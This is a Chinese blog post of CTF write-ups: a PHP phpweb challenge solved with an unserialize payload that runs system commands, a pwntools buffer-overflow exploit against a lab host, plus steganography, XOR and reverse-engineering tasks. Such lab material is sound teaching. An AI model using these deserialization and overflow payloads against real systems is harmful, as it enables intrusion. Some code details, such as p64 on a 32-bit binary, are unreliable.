当前位置: 首页 > news >正文

寒假2.5

题解

web:[网鼎杯 2020 朱雀组]phpweb

打开网址,一直在刷新,并有一段警告

翻译一下

 查看源码

 每隔五秒钟将会提交一次form1,index.php用post方式提交了两个参数func和p,func的值为date,p的值为Y-m-d h:i:s a

执行func="data"&p="Y-m-d h:i:s a"试试

?func=md5&p=123

成功

利用file_get_contents获取index.php的源码,有func的黑名单进行过滤,gettime()使用了call_user_func()执行函数func

?func=file_get_contents&p=index.php

 <?php$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");function gettime($func, $p) {$result = call_user_func($func, $p);$a= gettype($result);if ($a == "string") {return $result;} else {return "";}}class Test {var $p = "Y-m-d h:i:s a";var $func = "date";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}$func = $_REQUEST["func"];$p = $_REQUEST["p"];if ($func != null) {$func = strtolower($func);if (!in_array($func,$disable_fun)) {echo gettime($func, $p);}else {die("Hacker...");}}?>
</p>

法一:构造序列化得到flag

<?php
class Test {var $p = "cat /flag";var $func = "system";function __destruct() {if ($this->func != "") {echo gettime($this->func, $this->p);}}}
$a = new Test();
echo serialize($a);
?>

O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

payload:

 在源代码处构造,一直都是返回原界面

构造system("find / -name *flag*")  用find查找所有文件名包含flag的文件

?func=unserialize&p=O:4:"Test":2:{s:1:"p";s:19:"find / -name *flag*";s:4:"func";s:6:"system";} 

 

眼睛都看花了,看了别人的wp,发现是在/tmp/flagoefiu4r93下

payload:

整不出来,尝试用readfile函数读取

func=readfile&p=/tmp/flagoefiu4r93

misc:[WUSTCTF2020]alison_likes_jojo

解压,得到一个.txt文件和两张图片

用binwalk查看一下,发现隐藏的.zip文件

binwalk -e分离文件

无法解压

010看一下是不是伪加密,不是

 用ziperello暴力破解

解压得到一串字符

一开始以为是base64编码,解码三次后得到‘killerqueen’,又结合另一张图,联想到outguess

使用outguess解密

crypto:buuctf

下载附件,是两个文档

搜索了yxx加密,有点像之前做过的异性相吸

而这里给的是明文和密文,所以应该是要让我们进行加密

先使用010将明文和密文转化为二进制(binary)

 

异或

脚本:

a='0110110001101111011101100110010101101100011011110111011001100101011011000110111101110110011001010110110001101111011101100110010101101100011011110111011001100101011011000110111101110110011001010110110001101111011101100110010101101100011011110111011001100101'
b='0000101000000011000101110000001001010110000000010001010100010001000010100001010000001110000010100001111000110000000011100000101000011110001100000000111000001010000111100011000000010100000011000001100100001101000111110001000000001110000001100000001100011000'
c=''for i in range(len(a)):if(a[i]==b[i]):c+='0'else:c+='1'
print(c)

 再把二进制转文本

reverse:[GXYCTF2019]luck_guy

下载附件,exeinfope查看,64位无壳

 ida64打开

初始化v4为0,输入一个幸运数字储存在v4中,执行patch_me函数

 查看patch_me函数,当输入偶数时,执行get_flag函数

查看get_flag函数

使用当前时间作为随机数种子,进行 5 次随机选择,根据不同的随机数结果执行不同的操作,其中只有在随机数为 1 时才会输出标志。最后,函数返回当前某种 “保护值” 和之前获取的 “保护值” 的异或结果

分析

unsigned __int64 get_flag()
{unsigned int v0; // eaxint i; // [rsp+4h] [rbp-3Ch]int j; // [rsp+8h] [rbp-38h]__int64 s; // [rsp+10h] [rbp-30h] BYREFchar v5; // [rsp+18h] [rbp-28h]unsigned __int64 v6; // [rsp+38h] [rbp-8h]v6 = __readfsqword(0x28u);  // 获取当前的值(某种 "保护值")v0 = time(0LL);              // 获取当前时间srand(v0);                   // 使用当前时间作为种子初始化随机数生成器for (i = 0; i <= 4; ++i)     // 循环执行 5 次{switch (rand() % 200)    // 根据随机数的值决定执行哪个分支{case 1:puts("OK, it's flag:");   // 打印提示信息memset(&s, 0, 0x28uLL);   // 清空内存(将 s 初始化为零)strcat((char *)&s, f1);    // 将 f1 连接到 sstrcat((char *)&s, &f2);   // 将 f2 连接到 sprintf("%s", (const char *)&s); // 打印最终的 flagbreak;case 2:printf("Solar not like you");break;case 3:printf("Solar want a girlfriend");break;case 4:s = 0x7F666F6067756369LL;  // 将 s 设置为某个特定的长整型值v5 = 0;                    // 将 v5 设置为 0strcat(&f2, (const char *)&s); // 将 s 连接到 f2(可能是修改 f2 的内容)break;case 5:for (j = 0; j <= 7; ++j)  // 修改 f2 数组的内容{if (j % 2 == 1)*(&f2 + j) -= 2;  // 如果 j 是奇数,减去 2else--*(&f2 + j);      // 如果 j 是偶数,减去 1}break;default:puts("emmm,you can't find flag 23333");break;}}return __readfsqword(0x28u) ^ v6;  // 返回当前 "保护值" 和之前获取的值的异或结果
}

查看f1字符串 为:"GXY{do_not_"

将31行代码转换为字符串并变为小端序 为icug`ofF\x7 33行又将f2与s连接 所以f2为 "icug`of\x7F"

 case1打印flag,case4定义函数,case5进行修改加密

所以顺序是case4-->case5-->case1

代码

def main():f1 = "GXY{do_not_"f2 = list("icug`of\x7F")  # 将 f2 转换为列表,以便修改单个字符for j in range(8):  # 循环 0 到 7if j % 2 == 1:f2[j] = chr(ord(f2[j]) - 2)  # j 为奇数,减去 2else:f2[j] = chr(ord(f2[j]) - 1)  # j 为偶数,减去 1print(f"flag={f1}{''.join(f2)}")if __name__ == "__main__":main()

 pwn:buuctf-pwn1_sctf_2016

下载附件,exeinfope查看,32位无壳

ida打开 ,main函数里有一个vuln函数

 查看vuln函数

首先,fgets 函数用来从标准输入中读取最大 31 字符(留一个位置给 \0)到数组 s 中。然后,std::string::operator=s 赋值给一个 std::string 对象 input。接下来,代码执行了一些与 std::string 相关的操作,进行了一堆乱七八糟的交换

主函数上面有个get_flag函数,点进去,有system函数

查看函数地址,后门地址0x08048F13

exp

from pwn import *
buf =remote('node5.buuoj.cn',28941)
payload = b'I'*(20)+b'aaaa'+p64(0x8048F13)
buf.sendline(payload)
buf.interactive()

最终flag

知识点

1.outguess

OutGuess 是一款通用隐写术工具,可以插入隐藏信息到数据源的冗余位中。数据源的性质与 OutGuess 的核心无关。程序依赖于数据特定的处理程序,这些处理程序将提取冗余位,并在修改后将其写回。在此版本中,PNM支持 JPEG 和 JPEG 图像格式。在下一段中,图像将用作数据对象的具体示例,尽管 OutGuess 可以使用任何类型的数据,只要提供了处理程序。

而在做题过程中,当遇见有一串字符并有一张看似多余的图片的情况时,就可以用outguess试试

安装:

sudo apt-get updatesudo apt-get install outguess

使用方式:

outguess -k “密码” -r 被加密.jpg 解密信息.txt

2.yxx加密方式

将明文转化为二进制-->准备一个密钥(一串固定的二进制字符串)-->将明文的二进制和密钥进行异或操作

所以解密的话就是反着来

相关文章:

寒假2.5

题解 web:[网鼎杯 2020 朱雀组]phpweb 打开网址&#xff0c;一直在刷新&#xff0c;并有一段警告 翻译一下 查看源码 每隔五秒钟将会提交一次form1&#xff0c;index.php用post方式提交了两个参数func和p&#xff0c;func的值为date&#xff0c;p的值为Y-m-d h:i:s a 执行fu…...

定期删除一周前的数据,日志表的表空间会增长吗?

即使定期删除一周前的数据&#xff0c;日志表的表空间仍可能持续增长。原因如下&#xff1a; 删除操作不释放空间&#xff1a;DELETE 操作只会标记数据为删除状态&#xff0c;并不会立即释放空间。这些空间可以被后续的 INSERT 操作重用&#xff0c;但不会自动缩减表的总大小。…...

yum 安装mysql

sudo yum install mysql-server sudo systemctl start mysqld sudo systemctl enable mysqld 获取临时 root 密码并登录 MySQL 安装完成后&#xff0c;MySQL 会生成一个临时的 root 密码。你可以通过查看日志文件来找到这个密码&#xff1a; sudo grep ‘temporary password’…...

Servlet笔记(下)

HttpServletRequest对象相关API 获取请求行信息相关(方式,请求的url,协议及版本) | API | 功能解释 | | ----------------------------- | ------------------------------ | | StringBuffer getRequestURL(); | 获取客户端…...

Windows 中学习Docker环境准备3、在Ubuntu中安装Docker

Windows 中学习Docker环境准备1、Win11安装Docker Desktop Windows 中学习Docker环境准备2、Docker Desktop中安装ubuntu Windows 中学习Docker环境准备3、在Ubuntu中安装Docker 需要更多Docker学习视频和资料&#xff0c;请文末联系 步骤 1&#xff1a;更新系统并安装依赖…...

【centOS】搭建公司内网git环境-GitLab 社区版(GitLab CE)

1. 安装必要的依赖 以 CentOS 7 系统为例&#xff0c;安装必要的依赖包&#xff1a; sudo yum install -y curl policycoreutils openssh-server openssh-clients postfix sudo systemctl start postfix sudo systemctl enable postfix2. 添加 GitLab 仓库 curl -sS https:/…...

Unity DoTween使用文档

DoTween 使用文档 DoTween 是 Unity 中非常流行的动画补间插件。它通过链式调用方式&#xff0c;让开发者可以快速创建平滑、自然的动画效果。本文将介绍 DoTween 的基础用法、缓动曲线原理&#xff08;包含常见缓动曲线的数学公式与参数说明&#xff09;、案例演示以及一些常…...

【办公类-99-01】20250201学具PDF打印会缩小一圈——解决办法:换一个PDF阅读器

背景需求&#xff1a; 2024年1月13日&#xff0c;快要放寒假了&#xff0c;组长拿着我们班的打印好的一叠教案来调整。 “前面周计划下面的家园共育有调整&#xff0c;你自己看批注。” “还有你这个教案部分的模版有问题&#xff0c;太小&#xff08;窄&#xff09;了。考虑…...

组合总和II(力扣40)

这道题的难点就在于题目所给的集合中有重复的数字&#xff0c;我们需要进行去重操作。首先明确去重指的是去重哪一部分。注意并不是对递归的集合去重&#xff0c;而是对当前集合的遍历进行去重。这么说可能有点抽象&#xff0c;举个例子&#xff1a;假设集合为1,1,2,3,4&#x…...

基于HTML生成网页有什么优势

在互联网时代&#xff0c;网页是人们获取信息、交流互动的重要窗口&#xff0c;而基于HTML生成网页&#xff0c;是搭建网络大厦的关键。HTML语法简洁直观&#xff0c;标签和属性语义明确&#xff0c;新手也能迅速上手&#xff0c;创建包含基础元素的网页&#xff0c;极大降低了…...

php 接入扣子的 token获取

本身逻辑只是个api&#xff0c;但是官方不提供php的sdk 扎心了老铁&#xff0c;这下php 狗都不用了&#xff0c;主要麻烦的是如何获取access_token&#xff0c;代码如下 protected function get_jwt(): string{$header [alg > RS256,typ > JWT,kid > $this->kid];…...

Redis02 - 持久化

Redis持久化 文章目录 Redis持久化一&#xff1a;持久化简介1&#xff1a;Redis为什么要进行持久化2&#xff1a;Redis持久化的方式 二&#xff1a;RDB持久化介绍1&#xff1a;手动触发RDB2&#xff1a;自动触发RDB3&#xff1a;redis.conf中进行RDB的配置4&#xff1a;RDB优缺…...

【力扣】240.搜索二维矩阵 II

题目 我的代码 class Solution { public:bool searchMatrix(vector<vector<int>>& matrix, int target) {for(int i0;i<matrix.size();i){for(int j0;j<matrix[0].size();j){if(targetmatrix[i][j]){return true;}else if(target<matrix[i][j]){brea…...

RabbitMQ 从入门到精通:从工作模式到集群部署实战(二)

接上篇&#xff1a;《RabbitMQ 从入门到精通&#xff1a;从工作模式到集群部署实战&#xff08;一&#xff09;》 链接 文章目录 4.安装RabbitMQ Messaging Topology Operator 裸金属环境部署RabbitMQ部署单实例部署集群 4.安装RabbitMQ Messaging Topology Operator 使用 cer…...

编程AI深度实战:大模型哪个好? Mistral vs Qwen vs Deepseek vs Llama

随着开源 LLM 的发展&#xff0c;越来越多的模型变得专业化&#xff0c;“代码”LLM 变得非常流行。这些 LLM 旨在比其 “常识” 对应物更小&#xff0c;但旨在超越更大的通用模型的编码性能。 这些模型以极低的成本提供大型模型的功能&#xff0c;进一步使本地 LLM 空间民主化…...

11.kafka开启jmx

方式一: 1.进入/opt/kafka_2.13-3.3.2/bin目录 命令: cd /opt/kafka_2.13-3.3.2/bin [root@rhel77 ~]# cd /opt/kafka_2.13-3.3.2/bin [root@rhel77 bin]# pwd /opt/kafka_2.13-3.3.2/bin [root@rhel77 bin]# 2.备份kafka-run-class.sh 命令: cp kafka-run-class.sh …...

基于钉钉API的连接器实现:企业数据集成与自动化管理

文章目录 概要背景与需求钉钉API概述连接器实现小结 概要 在当今数字化时代&#xff0c;企业面临着海量数据的管理与整合挑战。钉钉作为国内广泛使用的办公协作平台&#xff0c;提供了丰富的API接口&#xff0c;支持企业进行数据集成与自动化管理。本文将介绍如何通过钉钉API实…...

JAVA 二维列表的基础操作与异常

在Java中创建二维 ArrayList&#xff08;即嵌套列表&#xff09;的方法有多种&#xff0c;下面我将详细介绍常用的几种方式&#xff0c;并分析它们的区别和适用场景。 1. 使用嵌套 ArrayList 创建二维列表 方法一&#xff1a;直接嵌套 ArrayList 这是最常用的方法&#xff0c…...

将仓库A分支同步到仓库B分支,并且同步commit提交

一、 问题 有一仓库A 和 一仓库B&#xff0c; 需要将仓库A分支a1所有提交同步推送到仓库B分支b1上 二、 解决 2.1、 首先需要仓库A、仓库B的权限&#xff0c; 2.2、将仓库A clone到本地&#xff0c; 进入A目录&#xff0c;并且切换到a1分支 cd A ## A 为A仓库clone到本地代…...

使用java代码操作rabbitMQ收发消息

SpringAMQP 将来我们开发业务功能的时候&#xff0c;肯定不会在控制台收发消息&#xff0c;而是应该基于编程的方式。由于RabbitMQ采用了AMQP协议&#xff0c;因此它具备跨语言的特性。任何语言只要遵循AMQP协议收发消息&#xff0c;都可以与RabbitMQ交互。并且RabbitMQ官方也…...

web vue 项目 Docker化部署

Web 项目 Docker 化部署详细教程 目录 Web 项目 Docker 化部署概述Dockerfile 详解 构建阶段生产阶段 构建和运行 Docker 镜像 1. Web 项目 Docker 化部署概述 Docker 化部署的主要步骤分为以下几个阶段&#xff1a; 构建阶段&#xff08;Build Stage&#xff09;&#xff1a…...

Debian系统简介

目录 Debian系统介绍 Debian版本介绍 Debian软件源介绍 软件包管理工具dpkg dpkg核心指令详解 安装软件包 卸载软件包 查询软件包状态 验证软件包完整性 手动处理依赖关系 dpkg vs apt Debian系统介绍 Debian 和 Ubuntu 都是基于 Debian内核 的 Linux 发行版&#xff…...

电脑插入多块移动硬盘后经常出现卡顿和蓝屏

当电脑在插入多块移动硬盘后频繁出现卡顿和蓝屏问题时&#xff0c;可能涉及硬件资源冲突、驱动兼容性、供电不足或系统设置等多方面原因。以下是逐步排查和解决方案&#xff1a; 1. 检查电源供电问题 问题原因&#xff1a;多块移动硬盘同时运行可能导致USB接口供电不足&#x…...

大语言模型如何处理长文本?常用文本分割技术详解

为什么需要文本分割? 引言:为什么需要文本分割?一、基础文本分割方法1. 按段落分割(Paragraph Splitting)2. 按句子分割(Sentence Splitting)二、高级文本分割策略3. 重叠分割(Sliding Window)4. 递归分割(Recursive Splitting)三、生产级工具推荐5. 使用LangChain的…...

测试markdown--肇兴

day1&#xff1a; 1、去程&#xff1a;7:04 --11:32高铁 高铁右转上售票大厅2楼&#xff0c;穿过候车厅下一楼&#xff0c;上大巴车 &#xffe5;10/人 **2、到达&#xff1a;**12点多到达寨子&#xff0c;买门票&#xff0c;美团/抖音&#xff1a;&#xffe5;78人 3、中饭&a…...

ETLCloud可能遇到的问题有哪些?常见坑位解析

数据集成平台ETLCloud&#xff0c;主要用于支持数据的抽取&#xff08;Extract&#xff09;、转换&#xff08;Transform&#xff09;和加载&#xff08;Load&#xff09;过程。提供了一个简洁直观的界面&#xff0c;以便用户可以在不同的数据源之间轻松地进行数据迁移和转换。…...

unix/linux,sudo,其发展历程详细时间线、由来、历史背景

sudo 的诞生和演化,本身就是一部 Unix/Linux 系统管理哲学变迁的微缩史。来,让我们拨开时间的迷雾,一同探寻 sudo 那波澜壮阔(也颇为实用主义)的发展历程。 历史背景:su的时代与困境 ( 20 世纪 70 年代 - 80 年代初) 在 sudo 出现之前,Unix 系统管理员和需要特权操作的…...

ios苹果系统,js 滑动屏幕、锚定无效

现象&#xff1a;window.addEventListener监听touch无效&#xff0c;划不动屏幕&#xff0c;但是代码逻辑都有执行到。 scrollIntoView也无效。 原因&#xff1a;这是因为 iOS 的触摸事件处理机制和 touch-action: none 的设置有关。ios有太多得交互动作&#xff0c;从而会影响…...

精益数据分析(97/126):邮件营销与用户参与度的关键指标优化指南

精益数据分析&#xff08;97/126&#xff09;&#xff1a;邮件营销与用户参与度的关键指标优化指南 在数字化营销时代&#xff0c;邮件列表效度、用户参与度和网站性能等指标往往决定着创业公司的增长成败。今天&#xff0c;我们将深入解析邮件打开率、网站可用性、页面参与时…...

什么是Ansible Jinja2

理解 Ansible Jinja2 模板 Ansible 是一款功能强大的开源自动化工具&#xff0c;可让您无缝地管理和配置系统。Ansible 的一大亮点是它使用 Jinja2 模板&#xff0c;允许您根据变量数据动态生成文件、配置设置和脚本。本文将向您介绍 Ansible 中的 Jinja2 模板&#xff0c;并通…...